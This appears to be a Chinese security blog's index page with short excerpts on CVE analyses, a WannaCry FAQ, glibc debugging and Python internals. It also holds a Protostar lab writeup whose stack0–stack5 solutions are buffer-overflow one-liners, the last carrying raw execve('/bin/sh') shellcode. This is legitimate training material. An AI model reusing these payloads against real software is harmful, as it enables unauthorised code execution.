Binary
NETBIOS主机名编码算法

最近在看SMB协议,在自己构造数据包的时候发现了一个问题。

CVE-2010-2553分析[漏洞战争]

背景

CVE 2010-2553漏洞,也称为MicrosoftWindows Cinepak 编码解码器解压缩漏洞,影响的操作系统版本有:Microsoft Windows XP SP2和SP3,WindowsVista SP1和SP2,以及Windows 7。

漏洞原因在于Cinepak 编码解码器对媒体文件解压缩时代码控制不恰当,可导致远程代码执行。如果用户打开特制的媒体文件,此漏洞可能允许执行代码。如果用户使用管理用户权限登录,成功利用此漏洞的攻击者便可完全控制受影响的系统。

漏洞利用wmplay.exe,而wmplay.exe这个播放器在国内很少有人使用,如果被攻击者使用了第三方的视频播放软件,很难攻击成功,这可能也是这一漏洞不被分析重视的一大原因。

ISCC中pwn200 shell无法启动原因详解

0x00 背景

一朋友问到在pwn中,gdb调试看到了systemm("/bin/sh")了,但是shell确无法启动。于是我详细看了一下这个题目,发现自己的exploit绝大多数情况下也无法启动shell。

Ubuntu上源码调试glibc

0x00 背景

最近有个需求,需要源码调试glibc。由于系统的glibc没有调试符号,所以也算费了一番周折。不过ubuntu还是比较人性化的。

勒索软件WannaCry的FAQ

什么是勒索软件

勒索软件就是利用加密手段,加密感染机器上的特定文件。要求用户支付赎金(通常为比特币)后,黑客会解密被加密的文件。

CVE-2010-3333分析[漏洞战争]

CVE-2010-3333漏洞是一个栈溢出漏洞,该漏洞是由于Microsoft word在处理RTF数据的对数据解析处理错误,可被利用破坏内存,导致任意代码执行。

评论系统切换至网易云跟帖

用了一阵多说,disqus。多说的问题在于经常大姨妈,而且即将关站。disqus被墙,对国内用户访问不友好。

python如何调用__del__及全局变量如何存储

在处理一个bug的时候发现程序一直报错,Exception exceptions.NameError: "global name 'TEST' is not defined"。仔细审查了下源码,发现这个TEST变量是个全局变量,已经定义了。只不过在类的析构函数__del__()中解引用了del TEST

这引出了两个问题:

  1. 一个类的对象,什么时候调用析构函数?
  2. 为什么一个对象把TEST解引用了其他对象也无法访问?
Exploit-Exercises Protostar writeup PART I

stack0

$ python -c "print 0x44*'a'" | ./stack0
you have changed the 'modified' variable

stack1

$ python -c "print 0x40*'a'+'\x64\x63\x62\x61'" | xargs ./stack1
you have correctly got the variable to the right value

stack2

import os
payload = 'a'*0x40 + '\x0a\x0d\x0a\x0d'
os.putenv("GREENIE", payload)
os.system("./stack2")

stack3

$ readelf -a stack3 | grep win
There are no unwind sections in this file.
56: 08048424 20 FUNC GLOBAL DEFAULT 14 win
$ python -c "print 0x40*'a'+'\x24\x84\x04\x08'" | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

stack 4

$ readelf -a stack4 | grep win
There are no unwind sections in this file.
56: 080483f4 20 FUNC GLOBAL DEFAULT 14 win
$ python -c "print 76*'a'+'\xf4\x83\x04\x08'"|./stack4
code flow successfully changed

stack5

gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : disabled

系统没开ASLR。让程序崩溃,调试core dump获得stack address。

python -c "print 0x4c*'a'+'\x10\xfd\xff\xbf'+'\x31\xc9\xf7\xe1\xb0\x0b\xeb\x06\x5b\x51\x53\x5b\xcd\x80\xe8\xf5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'" | ./stack5

生成自己的Alphanumeric/Printable shellcode

文章已经发表到360播报:http://bobao.360.cn/learning/detail/3720.html